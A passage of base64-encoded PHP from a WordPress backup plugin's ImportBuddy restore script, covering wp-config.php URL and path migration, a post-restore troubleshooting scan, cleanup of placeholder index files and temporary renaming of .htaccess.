fVVJMIChpZiBhcHBsaWNhYmxlKSB0byBgJyAuICRuZXdfY29udGVudF91cmwgLiAnYC4nICk7CgkJCX0KCQkJaWYgKCBpc3NldCggJHRoaXMtPl9zdGF0ZVsnZGF0J11bJ3dwX2NvbnRlbnRfZGlyJ10gKSApIHsKCQkJCSRuZXdfY29udGVudF9kaXIgPSBzdHJfcmVwbGFjZSggJHRoaXMtPl9zdGF0ZVsnZGF0J11bJ2Fic3BhdGgnXSwgQUJTUEFUSCwgJHRoaXMtPl9zdGF0ZVsnZGF0J11bJ3dwX2NvbnRlbnRfZGlyJ10gKTsKCQkJCSRwYXR0ZXJuWzldID0gJy9kZWZpbmVcKFtcc10qKFwnfCIpV1BfQ09OVEVOVF9ESVIoXCd8IiksW1xzXSooXCd8IikoLikqKFwnfCIpW1xzXSpcKTsvaSc7CgkJCQkkcmVwbGFjZVs5XSA9ICJkZWZpbmUoICdXUF9DT05URU5UX0RJUicsICciIC4gJG5ld19jb250ZW50X2RpciAuICInICk7IjsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ3dwLWNvbmZpZy5waHA6IFNldHRpbmcgV1BfQ09OVEVOVF9ESVIgKGlmIGFwcGxpY2FibGUpIHRvIGAnIC4gJG5ld19jb250ZW50X2RpciAuICdgLicgKTsKCQkJfQoKCQkJLy8gUGVyZm9ybSB0aGUgYWN0dWFsIHJlcGxhY2VtZW50LgoJCQkkbGluZXMgPSBwcmVnX3JlcGxhY2UoICRwYXR0ZXJuLCAkcmVwbGFjZSwgJGxpbmVzICk7CgoJCQkvLyBJbXBvcnRidWRkeSBEcm9waW5nIEhvb2tzCgkJCSRsaW5lcyA9IGl0X2J1Yl9pbXBvcnRidWRkeV9hcHBseV9maWx0ZXJzKCAnd3BfY29uZmlnX2xpbmVzJywgJGxpbmVzICk7CgoJCQkvLyBDaGVjayB0aGF0IHdlIGNhbiB3cml0ZSB0byB0aGlzIGZpbGUuCgkJCWlmICggISBpc193cml0YWJsZSggJGNvbmZpZ0ZpbGUgKSApIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICd3YXJuaW5nJywgJ1dhcm5pbmcgIzI4NTcyOiB3cC1jb25maWcucGhwIHNob3dzIHRvIGJlIHVud3JpdGFibGUuIEF0dGVtcHRpbmcgdG8gb3ZlcnJpZGUgcGVybWlzc2lvbnMgdGVtcG9yYXJpbHkuJyApOwoJCQkJJG9sZFBlcm1zID0gKCBmaWxlcGVybXMoICRjb25maWdGaWxlICkgJiAwNzc3ICk7CgkJCQlAY2htb2QoICRjb25maWdGaWxlLCAwNjQ0ICk7IC8vIFRyeSB0byBtYWtlIHdyaXRhYmxlLgoJCQl9CgoJCQkvLyBXcml0ZSBjaGFuZ2VzIHRvIGNvbmZpZyBmaWxlLgoJCQlpZiAoIGZhbHNlID09PSAoIGZpbGVfcHV0X2NvbnRlbnRzKCAkY29uZmlnRmlsZSwgJGxpbmVzICkgKSApIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjphbGVydCggJ0VSUk9SICM4NDkyODogVW5hYmxlIHRvIHNhdmUgY2hhbmdlcyB0byB3cC1jb25maWcucGhwLiBWZXJpZnkgdGhpcyBmaWxlIGhhcyBwcm9wZXIgd3JpdGUgcGVybWlzc2lvbnMuIFlvdSBtYXkgbmVlZCB0byBtYW51YWxseSBlZGl0IGl0LicsIHRydWUsICc5MDIwJyApOwoJCQkJcmV0dXJuIGltcGxvZGUoICJcbiIsICRsaW5lcyApOwoJCQl9IGVsc2UgewoJCQkJJGFyZ3MgPSBhcnJheSgKCQkJCQknY29uZmlnRmlsZScgPT4gJGNvbmZpZ0ZpbGUsCgkJCQkJJ29yaWdpbmFsJyAgID0+ICRvcmlnaW5hbF9saW5lcywKCQkJCQkndXBkYXRlZCcgICAgPT4gJGxpbmVzLAoJCQkJCSdwZXJtcycgICAgICA9PiBlbXB0eSggJG9sZFBlcm1zICkgPyBmYWxzZSA6ICRvbGRQZXJtcywKCQkJCSk7CgkJCQlpdF9idWJfaW1wb3J0YnVkZHlfZG9fYWN0aW9uKCAnd3BfY29uZmlnX3Jld3JpdGVfY29tcGxldGUnLCAkYXJncyApOwoJCQl9CgoJCQkvLyBSZXN0b3JlIHByaW9yIHBlcm1pc3Npb25zIGlmIGFwcGxpY2FibGUuCgkJCWlmICggaXNzZXQoICRvbGRQZXJtcyApICkgewoJCQkJQGNobW9kKCAkY29uZmlnRmlsZSwgJG9sZFBlcm1zICk7CgkJCX0KCgkJCXVuc2V0KCAkbGluZXMgKTsKCQl9IGVsc2UgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdXYXJuaW5nOiB3cC1jb25maWcucGhwIGZpbGUgbm90IGZvdW5kLicgKTsKCQkJLy9wYl9iYWNrdXBidWRkeTo6YWxlcnQoICdOb3RlOiB3cC1jb25maWcucGhwIGZpbGUgbm90IGZvdW5kLiBUaGlzIGlzIG5vcm1hbCBmb3IgYSBkYXRhYmFzZSBvbmx5IGJhY2t1cC4nICk7CgkJfQoKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnbWVzc2FnZScsICdNaWdyYXRpb24gb2Ygd3AtY29uZmlnLnBocCBjb21wbGV0ZS4nICk7CgoJCXJldHVybiB0cnVlOwoJfSAvLyBFbmQgX21pZ3JhdGVXcENvbmZpZ0dydW50d29yaygpLgoKCgoJLyoJX3ByZWdfZXNjYXBlX2JhY2soKQogICAgICoKCSAqCUVzY2FwZSBiYWNrcmVmZXJlbmNlcyBmcm9tIHN0cmluZyBmb3IgdXNlIHdpdGggcmVnZXguIFVzZWQgYnkgbWlncmF0ZV93cF9jb25maWcoKS4KCSAqCUBzZWUgbWlncmF0ZV93cF9jb25maWcoKQogICAgICoKCSAqCUBwYXJhbQkJc3RyaW5nCQkkc3RyaW5nCQlTdHJpbmcgdG8gZXNjYXBlLgoJICoJQHJldHVybgkJc3RyaW5nCQkJCQlFc2NhcGVkIHN0cmluZy4KCSAqLwoJZnVuY3Rpb24gX3ByZWdfZXNjYXBlX2JhY2soICRzdHJpbmcgKSB7CgkJLy8gUmVwbGFjZSAkIHdpdGggXCQsIFwgd2l0aCBcXCwgYW5kICcgd2l0aCBcJwoJCSRzdHJpbmcgPSBwcmVnX3JlcGxhY2UoICcjKD88IVxcXFwpKFxcJHxcXFxcKSMnLCAnXFxcXCQxJywgJHN0cmluZyApOwoJCSRzdHJpbmcgPSBzdHJfcmVwbGFjZSggIiciLCAiXCciLCAkc3RyaW5nICk7CgkJcmV0dXJuICRzdHJpbmc7Cgl9IC8vIEVuZCBfcHJlZ19lc2NhcGVfYmFjaygpLgoKCgoJLyogdHJvdWJsZVNjYW4oKQoJICoKCSAqIFNjYW5zIGZvciBwb3RlbnRpYWwgcHJvYmxlbXMgYW5kIHByb3ZpZGVkIGluZm9ybWF0aXZlIHdhcm5pbmdzLgoJICoKCSAqIEByZXR1cm4gYXJyYXkgQXJyYXkgb2YgdGV4dCB3YXJuaW5ncyB0byBkaXNwbGF5IHRvIHVzZXIuCgkgKgoJICovCglmdW5jdGlvbiB0cm91YmxlU2NhbigpIHsKCQkkdHJvdWJsZSA9IGFycmF5KCk7CgoJCS8vIC5tYWludGVuYW5jZQoJCWlmICggZmlsZV9leGlzdHMoIEFCU1BBVEggLiAnLm1haW50ZW5hbmNlJyApICkgewoJCQkkdHJvdWJsZVtdID0gJy5tYWludGVuYW5jZSBmaWxlIGZvdW5kIGluIFdvcmRQcmVzcyByb290LiBUaGUgc2l0ZSBtYXkgbm90IGJlIGFjY2Vzc2libGUgdW5sZXNzIHRoaXMgZmlsZSBpcyBkZWxldGVkLic7CgkJfQoKCQkvLyBpbmRleC5odG0KCQlpZiAoIGZpbGVfZXhpc3RzKCBBQlNQQVRIIC4gJ2luZGV4Lmh0bScgKSApIHsKCQkJJHRyb3VibGVbXSA9ICdpbmRleC5odG0gZmlsZSBmb3VuZCBpbiBXb3JkUHJlc3Mgcm9vdC4gVGhpcyBtYXkgcHJldmVudCBXb3JkUHJlc3MgZnJvbSBsb2FkaW5nIG9uIHNvbWUgc2VydmVycy4gU29sdXRpb246IERlbGV0ZSB0aGUgZmlsZS4nOwoJCX0KCgkJLy8gaW5kZXguaHRtbAoJCWlmICggZmlsZV9leGlzdHMoIEFCU1BBVEggLiAnaW5kZXguaHRtbCcgKSApIHsKCQkJJHRyb3VibGVbXSA9ICdpbmRleC5odG1sIGZpbGUgZm91bmQgaW4gV29yZFByZXNzIHJvb3QuIFRoaXMgbWF5IHByZXZlbnQgV29yZFByZXNzIGZyb20gbG9hZGluZyBvbiBzb21lIHNlcnZlcnMuIFNvbHV0aW9uOiBEZWxldGUgdGhlIGZpbGUuJzsKCQl9CgoJCS8vIHdwLWNvbmZpZy5waHAKCQlpZiAoICEgZmlsZV9leGlzdHMoIEFCU1BBVEggLiAnd3AtY29uZmlnLnBocCcgKSApIHsKCQkJJHRyb3VibGVbXSA9ICdXYXJuaW5nIG9ubHk6IHdwLWNvbmZpZy5waHAgZmlsZSBub3QgZm91bmQgV29yZFByZXNzIHJvb3QuIDxpPklmIHRoaXMgaXMgYSBkYXRhYmFzZS1vbmx5IHJlc3RvcmUgeW91IHNob3VsZCByZXN0b3JlIGEgZnVsbCBiYWNrdXAuPC9pPic7CgkJfSBlbHNlIHsgLy8gd3AtY29uZmlnLnBocCBleGlzdHMgc28gY2hlY2sgZm9yIHVuY2hhbmdlZCBVUkxzIG5vdCB1cGRhdGVkIGR1ZSB0byBwcm92ZW5hbmNlIHVua25vd24uCgoJCQlpZiAoICdmaWxlcycgPT0gJHRoaXMtPl9zdGF0ZVsnZGF0J11bJ2JhY2t1cF90eXBlJ10gKSB7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdTa2lwcGluZyBVUkwgc2NhbiBmb3Igd3AtY29uZmlnLnBocCBhcyB0aGlzIGlzIGEgRmlsZXMgT25seSByZXN0b3JlLicgKTsKCQkJfSBlbHNlIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0NoZWNraW5nIHdwLWNvbmZpZy5waHAgZmlsZSBmb3IgdW5jaGFuZ2VkIFVSTHMuJyApOwoJCQkJJGNvbmZpZ19jb250ZW50cyA9IEBmaWxlX2dldF9jb250ZW50cyggQUJTUEFUSCAuICd3cC1jb25maWcucGhwJyApOwoJCQkJaWYgKCBmYWxzZSA9PT0gJGNvbmZpZ19jb250ZW50cyApIHsgLy8gVW5hYmxlIHRvIG9wZW4uCgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ1VuYWJsZSB0byBvcGVuIHdwLWNvbmZpZy5waHAgZm9yIGNoZWNraW5nIHRob3VnaCBpdCBleGlzdHMuIFZlcmlmeSBwZXJtaXNzaW9ucy4nICk7CgkJCQl9IGVsc2UgeyAvLyBBYmxlIHRvIG9wZW4uCgkJCQkJJG5ld19jb250ZW50X3VybCA9ICcnOwoJCQkJCWlmICggaXNzZXQoICR0aGlzLT5fc3RhdGVbJ2RhdCddWyd3cF9jb250ZW50X3VybCddICkgKSB7CgkJCQkJCSRuZXdfY29udGVudF91cmwgPSBzdHJfcmVwbGFjZSggdHJpbSggJHRoaXMtPl9zdGF0ZVsnZGF0J11bJ3NpdGV1cmwnXSwgJ1xcLycgKSwgdHJpbSggJHRoaXMtPl9zdGF0ZVsnc2l0ZXVybCddLCAnLycgKSwgJHRoaXMtPl9zdGF0ZVsnZGF0J11bJ3dwX2NvbnRlbnRfdXJsJ10gKTsKCQkJCQl9CgoJCQkJCXByZWdfbWF0Y2hfYWxsKCAnI1xiaHR0cHM/Oi8vW15ccygpPD5dKyg/OlwoW1x3XGRdK1wpfChbXls6cHVuY3Q6XVxzXXwvKSkjJywgJGNvbmZpZ19jb250ZW50cywgJG1hdGNoZXMgKTsKCQkJCQkkbWF0Y2hlcyA9ICRtYXRjaGVzWzBdOwoJCQkJCWZvcmVhY2ggKCAkbWF0Y2hlcyBhcyAkbWF0Y2ggKSB7CgkJCQkJCWlmICggZmFsc2UgIT09IHN0cmlzdHIoICRtYXRjaCwgJ2FwaS53b3JkcHJlc3Mub3JnJyApICkgewoJCQkJCQkJY29udGludWU7CgkJCQkJCX0KCQkJCQkJaWYgKCBmYWxzZSAhPT0gc3RyaXN0ciggJG1hdGNoLCAnY29kZXgud29yZHByZXNzLm9yZycgKSApIHsKCQkJCQkJCWNvbnRpbnVlOwoJCQkJCQl9CgkJCQkJCWlmICggJG1hdGNoID09ICRuZXdfY29udGVudF91cmwgKSB7IC8vIElnbm9yZSBuZXcgV1BfQ09OVEVOVF9VUkwgZGVmaW5lIHRoYXQgd2FzIHVwZGF0ZWQuCgkJCQkJCQljb250aW51ZTsKCQkJCQkJfQoJCQkJCQkkdHJvdWJsZVtdID0gJ0EgVVJMIGZvdW5kIGluIG9uZSBvciBtb3JlIGxvY2F0aW9ucyBpbiB3cC1jb25maWcucGhwIHdhcyBub3QgbWlncmF0ZWQgYXMgaXQgd2FzIGVpdGhlciBub3QgcmVjb2duaXplZCBvciBpbiBhbiB1bnJlY29nbml6ZWQgbG9jYXRpb24gaW4gdGhlIGZpbGU6ICInIC4gaHRtbGVudGl0aWVzKCAkbWF0Y2ggKSAuICciICh0aGlzIG1heSBub3QgYmUgYSBwcm9ibGVtISkuJzsKCQkJCQl9CgoJCQkJCWlmICggZmFsc2UgIT09IHN0cmlzdHIoICRjb25maWdfY29udGVudHMsICdDT09LSUVfRE9NQUlOJyApICkgeyAvLyBGb3VuZCBjb29raWUgZG9tYWluLgoJCQkJCQkkdHJvdWJsZVtdID0gJ0Nvb2tpZSBkb21haW4gc2V0IGluIHdwLWNvbmZpZy5waHAgZmlsZSBhbmQgaGFzIG5vdCBiZWVuIHVwZGF0ZWQuIFlvdSBtYXkgbmVlZCB0byBtYW51YWx5IHVwZGF0ZSB0aGlzLic7CgkJCQkJfQoJCQkJfQoJCQl9CgkJfQoKCQkvLyAuaHRhY2Nlc3MKCQlpZiAoICEgZmlsZV9leGlzdHMoIEFCU1BBVEggLiAnLmh0YWNjZXNzJyApICkgewoJCQkkbm9faHRhY2Nlc3Nfd2FybmluZyA9ICdXYXJuaW5nIG9ubHk6IC5odGFjY2VzcyBmaWxlIG5vdCBmb3VuZCBpbiBXb3JkUHJlc3Mgcm9vdC4gVGhpcyBpcyB1c2VkIGZvciBwZXJtYWxpbmtzIG9uIHNlcnZlcnMgd2hpY2ggc3VwcG9ydCBpdC4gSWYgbmVlZGVkIG9yIFVSTHMgcmVzdWx0IGluIGEgNDA0IHlvdSBtYXkgcmVnZW5lcmF0ZSB0aGlzIGZpbGUgYnkgbG9nZ2luZyBpbnRvIHRoZSB3cC1hZG1pbiAmIG5hdmlnYXRpbmcgdG8gU2V0dGluZ3M6IFBlcm1hbGlua3MgYW5kIGNsaWNraW5nICJTYXZlIi4nOwoJCQkkdHJvdWJsZVtdID0gaXRfYnViX2ltcG9ydGJ1ZGR5X2FwcGx5X2ZpbHRlcnMoICdub19odGFjY2Vzc193YXJuaW5nJywgJG5vX2h0YWNjZXNzX3dhcm5pbmcgKTsKCQl9IGVsc2UgeyAvLyBFeGlzdHMsIGNoZWNrIGlmIEFkZEhhbmRsZXIgaW5zaWRlLgoJCQkkY29udGVudHMgPSBAZmlsZV9nZXRfY29udGVudHMoIEFCU1BBVEggLiAnLmh0YWNjZXNzJyApOwoJCQlpZiAoIHN0cnN0ciggJGNvbnRlbnRzLCAnQWRkSGFuZGxlcicgKSApIHsKCQkJCSR0cm91YmxlW10gPSAnV2FybmluZzogQW4gQWRkSGFuZGxlciBkaXJlY3RpdmUgaGFzIGJlZW4gZm91bmQgaW4geW91ciAuaHRhY2Nlc3MgZmlsZS4gVGhpcyBjb3VsZCByZXN1bHQgaW4gV29yZFByZXNzIGFuZCBQSFAgbm90IHJ1bm5pbmcgcHJvcGVybHkgaWYgY29uZmlndXJlZCBpbXByb3Blcmx5LCBlc3BlY2lhbGx5IHdoZW4gbWlncmF0aW5nIHRvIGEgbmV3IHNlcnZlci4gSWYgeW91IGVuY291bnRlciBwcm9ibGVtcyBzdWNoIGFzIGFuIEludGVybmFsIFNlcnZlciBFcnJvciBvciBFcnJvciA1MDAsIHRyeSByZW1vdmluZyB0aGlzIGxpbmUgZnJvbSB5b3VyIC5odGFjY2VzcyBmaWxlLiBTb2x1dGlvbjogRGVsZXRlIHRoaXMgQWRkSGFuZGxlciBsaW5lIGZyb20gdGhlIC5odGFjY2VzcyBmaWxlLiA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cHM6Ly9pdGhlbWVzaGVscC56ZW5kZXNrLmNvbS9oYy9lbi11cy9hcnRpY2xlcy8yMTExMzIzNTctRnJlcXVlbnRseS1TZWVuLVN1cHBvcnQtSXNzdWVzI0FkZGhhbmRsZXIiPkNsaWNrIGhlcmUgZm9yIG1vcmUgaW5mb3JtYXRpb24gJiBoZWxwLjwvYT4nOwoJCQl9CgkJfQoKCQkvLyBwaHAuaW5pCgkJaWYgKCBmaWxlX2V4aXN0cyggQUJTUEFUSCAuICdwaHAuaW5pJyApICkgewoJCQkkdHJvdWJsZVtdID0gJ0EgcGhwLmluaSBmaWxlIHdhcyByZXN0b3JlZCBpbiB0aGUgaW1wb3J0IHByb2Nlc3MgaW4gdGhlIHNpdGUgcm9vdC4gVGhpcyBtYXkgY2F1c2UgcHJvYmxlbXMgd2l0aCBzaXRlIGZ1bmN0aW9uYWxpdHkgaWYgaW1wb3J0ZWQgdG8gYSBkaWZmZXJlbnQgc2VydmVyIGFzIGNvbmZpZ3VyYXRpb24gb3B0aW9ucyBvZnRlbiBkaWZmZXIgYmV0d2VlbiBzZXJ2ZXJzLCBwb3NzaWJseSByZXN1bHRpbmcgaW4gZGVncmFkZWQgcGVyZm9ybWFuY2Ugb3IgdW5leHBlY3RlZCBiZWhhdmlvci4nOwoJCX0KCgkJaWYgKCBjb3VudCggJHRyb3VibGUgKSA+IDAgKSB7CgkJCS8vcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ3dhcm5pbmcnLCAnUG90ZW50aWFsIHByb2JsZW1zIHRoYXQgbWF5IG5lZWQgeW91ciBhdHRlbnRpb246ICcgLiBpbXBsb2RlKCAnOyAnLCAkdHJvdWJsZSApICk7CgkJfSBlbHNlIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnTm8gcG90ZW50aWFsIHByb2JsZW1zIGRldGVjdGVkLicgKTsKCQl9CgoJCXJldHVybiAkdHJvdWJsZTsKCgl9IC8vIEVuZCB0cm91YmxlU2NhbigpLgoKCgoJLyogc2NydWJJbmRleEZpbGVzKCkKCSAqCgkgKiBEZWxldGVzIGluZGV4Lmh0bSBmaWxlIGlmIGl0IGFwcGVhcnMgdG8gaGF2ZSB0aGUgY29udGVudHMgdGhhdCBJbXBvcnRCdWRkeSBjcmVhdGVkIGl0IHdpdGguCgkgKiBOb24taW1wb3J0YnVkZHkgY3JlYXRlZCBpbmRleC5odG0gZmlsZXMgYXJlIGxlZnQgaW4gcGxhY2UgdG8gYmUgd2FybmVkIGFib3V0IGxhdGVyIGFzIHRoZSB1c2VyIG1heSB3YW50IGl0IHRoZXJlLgoJICoKCSAqLwoJZnVuY3Rpb24gc2NydWJJbmRleEZpbGVzKCkgewoJCSR0aGlzLT5fYmVmb3JlKCBfX0ZVTkNUSU9OX18gKTsKCgkJJGluZGV4RmlsZXMgPSBhcnJheSggJ2luZGV4Lmh0bScsICdpbmRleC5odG1sJyApOwoJCWZvcmVhY2ggKCAkaW5kZXhGaWxlcyBhcyAkaW5kZXhGaWxlICkgewoJCQlpZiAoIGZpbGVfZXhpc3RzKCBBQlNQQVRIIC4gJGluZGV4RmlsZSApICkgewoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAkaW5kZXhGaWxlIC4gJyBmaWxlIGV4aXN0cy4gQ2hlY2tpbmcgdG8gc2VlIGlmIEltcG9ydEJ1ZGR5IGdlbmVyYXRlZCBpdCBvciBpdCBpcyBlbXB0eS4nICk7CgkJCQkkaW5kZXhfY29udGVudHMgPSBAZmlsZV9nZXRfY29udGVudHMoIEFCU1BBVEggLiAkaW5kZXhGaWxlICk7CgkJCQlpZiAoIGZhbHNlID09PSAkaW5kZXhfY29udGVudHMgKSB7IC8vIENhbm5vdCByZWFkLgoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICRpbmRleEZpbGUgLiAnIGZpbGUgdW5yZWFkYWJsZS4gWW91IG1heSBuZWVkIHRvIG1hbnVhbGx5IGRlbGV0ZSBpdCB0byB2aWV3IHlvdXIgc2l0ZS4nICk7CgkJCQl9IGVsc2UgeyAvLyBSZWFkIGZpbGUgc3VjY2VlZGVkLgoJCQkJCSRpbmRleF9jb250ZW50cyA9IHRyaW0oICRpbmRleF9jb250ZW50cyApOwoJCQkJCWlmICggKCAkaW5kZXhfY29udGVudHMgPT0gJzxodG1sPjwvaHRtbD4nICkgfHwgKCAnJyA9PSAkaW5kZXhfY29udGVudHMgKSApIHsgLy8gT3VyIGZpbGUuIERlbGV0ZSBpdCEKCQkJCQkJJGluZGV4X3VubGluayA9IEB1bmxpbmsoIEFCU1BBVEggLiAkaW5kZXhGaWxlICk7CgkJCQkJCWlmICggdHJ1ZSA9PT0gJGluZGV4X3VubGluayApIHsKCQkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJGluZGV4RmlsZSAuICcgZmlsZSBzdWNjZXNzZnVsbHkgZGVsZXRlZC4nICk7CgkJCQkJCX0gZWxzZSB7CgkJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnVW5hYmxlIHRvIGRlbGV0ZSAnIC4gJGluZGV4RmlsZSAuICcgZmlsZS4gIFRoaXMgaXMgbGlrZWx5IGR1ZSB0byBwZXJtaXNzaW9ucy4gWW91IG1heSBuZWVkIHRvIG1hbnVhbGx5IGRlbGV0ZSBpdCB0byB2aWV3IHlvdXIgc2l0ZS4nICk7CgkJCQkJCX0KCQkJCQl9IGVsc2UgeyAvLyBOb3Qgb3VyIGZpbGUuIExlYXZlIGFsb25lLiBXZSB3aWxsIHdhcm4gYWJvdXQgdGhpcyBsYXRlciB0aG91Z2guCgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJGluZGV4RmlsZSAuICcgZmlsZSBub3QgZ2VuZXJhdGVkIGJ5IEltcG9ydEJ1ZGR5IGFuZCBub3QgZW1wdHkuIExlYXZpbmcgYXMgaXMuIFlvdSBtYXkgbmVlZCB0byBkZWxldGUgaXQgdG8gdmlldyB5b3VyIHNpdGUuJyApOwoJCQkJCX0KCQkJCX0KCQkJfSBlbHNlIHsgLy8gTm8gaW5kZXguaHRtIGZpbGUuCgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICRpbmRleEZpbGUgLiAnIGZpbGUgbm90IGZvdW5kLiBTa2lwcGluZyBkZWxldGlvbi4nICk7CgkJCX0KCQl9CgkJcmV0dXJuIHRydWU7Cgl9IC8vIEVuZCBzY3J1YkluZGV4RmlsZXMoKS4KCgoJLyoqCgkgKiBSZW5hbWVzIC5odGFjY2VzcyB0byAuaHRhY2Nlc3MuYmJfdGVtcCB1bnRpbCBsYXN0IEltcG9ydEJ1ZGR5IHN0ZXAgdG8gYXZvaWQgY29tcGxpY2F0aW9ucy4KCSAqCgkgKiBAcmV0dXJuIGJvb2wgdHJ1ZSAgQWx3YXlzIHJldHVybnMgdHJ1ZS4KCSAqLwoJZnVuY3Rpb24gcmVuYW1lSHRhY2Nlc3NUZW1wKCkgewoJCSR0aGlzLT5fYmVmb3JlKCBfX0ZVTkNUSU9OX18gKTsKCgkJaWYgKCAhIGZpbGVfZXhpc3RzKCBBQlNQQVRIIC4gJy5odGFjY2VzcycgKSApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnTm8gLmh0YWNjZXNzIGZpbGUgZm91bmQuIFNraXBwaW5nIHRlbXBvcmFyeSBmaWxlIHJlbmFtZS4nICk7CgkJfQoKCQlpdF9idWJfaW1wb3J0YnVkZHlfZG9fYWN0aW9uKCAnYmFja3VwX2h0YWNjZXNzX2ZpbGUnLCBBQlNQQVRIIC4gJy5odGFjY2VzcycgKTsKCgkJJHJlc3VsdCA9IEByZW5hbWUoIEFCU1BBVEggLiAnLmh0YWNjZXNzJywgQUJTUEFUSCAuICcuaHRhY2Nlc3MuYmJfdGVtcCcgKTsKCQlpZiAoICRyZXN1bHQgPT09IHRydWUgKSB7IC8vIFJlbmFtZSBzdWNjZWVkZWQuCgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdtZXNzYWdlJywgJ1JlbmFtZWQgYC5odGFjY2Vzc2AgZmlsZSB0byBgLmh0YWNjZXNzLmJiX3RlbXBgIHVudGlsIGZpbmFsIEltcG9ydEJ1ZGR5IHN0ZXAuJyApOwoJCX0gZWxzZSB7IC8vIFJlbmFtZSBmYWlsZWQuCgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICd3YXJuaW5nJywgJ1VuYWJsZSB0byByZW5hbWUgYC5odGFjY2Vzc2AgZmlsZSB0byBgLmh0YWNjZXNzLmJiX3RlbXBgLiBZb3VyIGZpbGUgcGVybWlzc2lvbnMgbWF5IGJlIHRvbyBzdHJpY3QuIFlvdSBtYXkgd2lzaCB0byBtYW51YWxseSByZW5hbWUgdGhpcyBmaWxlIGFuZC9vciBjaGVjayBwZXJtaXNzaW9ucyBiZWZvcmUgcHJvY2VlZGluZy4nICk7CgkJfQoJCXJldHVybiB0cnVlOwoKCX0gLy8gRW5kIHJlbmFtZUh0YWNjZXNzVGVtcCgpLgoKCgoJLyoJcmVuYW1lSHRhY2Nlc3NUZW1wQmFjaygpCiAgICAgKgoJICoJUmVuYW1lcyAuaHRhY2Nlc3MgdG8gLmh0YWNjZXNzLmJiX3RlbXAgdW50aWwgbGFzdCBJbXBvcnRCdWRkeSBzdGVwIHRvIGF2b2lkIGNvbXBsaWNhdGlvbnMuCiAgICAgKgoJICoJQHJldHVybgkJbnVsbAoJICovCglmdW5jdGlvbiByZW5hbWVIdGFjY2Vzc1RlbXBCYWNrKCkgewoJCSR0aGlzLT5fYmVmb3JlKCBfX0ZVTkNUSU9OX18gKTsKCgkJJHRlbXBGaWxlID0gQUJTUEFUSCAuICcuaHRhY2Nlc3MuYmJfdGVtcCc7CgkJJGZpbmFsRmlsZSA9IEFCU1BBVEggLiAnLmh0YWNjZXNzJzsKCgkJaWYgKCAhIGZpbGVfZXhpc3RzKCAkdGVtcEZpbGUgKSApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnTm8gYC5odGFjY2Vzcy5iYl90ZW1wYCBmaWxlIGZvdW5kLiBTa2lwcGluZyB0ZW1wb3JhcnkgZmlsZSByZW5hbWUuJyApOwoJCQlyZXR1cm47CgkJfQoKCQkkcmVzdWx0ID0gQHJlbmFtZSggJHRlbXBGaWxlLCAkZmluYWxGaWxlICk7CgkJaWYgKCAkcmVzdWx0ID09PSB0cnVlICkgeyAvLyBSZW5hbWUgc3VjY2VlZGVkLgoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnbWVzc2FnZScsICdSZW5hbWVkIGAuaHRhY2Nlc3MuYmJfdGVtcGAgZmlsZSB0byBgLmh0YWNjZXNzYCB1bnRpbCBmaW5hbCBJbXBvcnRCdWRkeSBzdGVwLicgKTsKCQl9IGVsc2UgeyAvLyBSZW5hbWUgZmFpbGVkLgoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnVW5hYmxlIHRvIHJlbmFtZSBgLmh0YWNjZXNzLmJiX3RlbXBgIGZpbGUgdG8gYC5odGFjY2Vzc2AuIFlvdXIgZmlsZSBwZXJtaXNzaW9ucyBtYXkgYmUgdG9vIHN0cmljdC4gWW91IG1heSB3aXNoIHRvIG1hbnVhbGx5IHJlbmFtZSAuaHRhY2Nlc3MuYmJfdGVtcCBhdCBgJyAuICR0ZW1wRmlsZSAuICdgIHRvIC5odGFjY2Vzcy4nICk7CgkJfQoKCQlyZXR1cm47Cgl9IC8vIEVuZCByZW5hbWVIdGFjY2Vzc1RlbXBCYWNrKCkuCgoJLyoqCgkgKiBQYXJzZSBVUkwgYW5kIGFkanVzdCB0byBwcmVwYXJlIHRvIGJ1aWxkIHBhdGguCgkgKgoJICogQHBhcmFtIHN0cmluZyAkdXJsICBVUkwgdG8gcGFyc2UuCgkgKgoJICogQHJldHVybiBhcnJheSAgUGFyc2VkIFVSTC4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIHBhcnNlX3VybCggJHVybCA9ICcnICkgewoJCWlmICggZW1wdHkoICR1cmwgKSB8fCAhIGlzX3N0cmluZyggJHVybCApICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnbWVzc2FnZScsICdJbnZhaWQgZm9ybWF0IGZvciBVUkw6ICcgLiBwcmludF9yKCAkdXJsLCB0cnVlICkgKTsKCQkJcmV0dXJuICR1cmw7CgkJfQoKCQkkcGFyc2VkX3VybCA9IHBhcnNlX3VybCggJHVybCApOwoJCSRwYXJzZWRfdXJsWydwYXRoJ10gPSBpc3NldCggJHBhcnNlZF91cm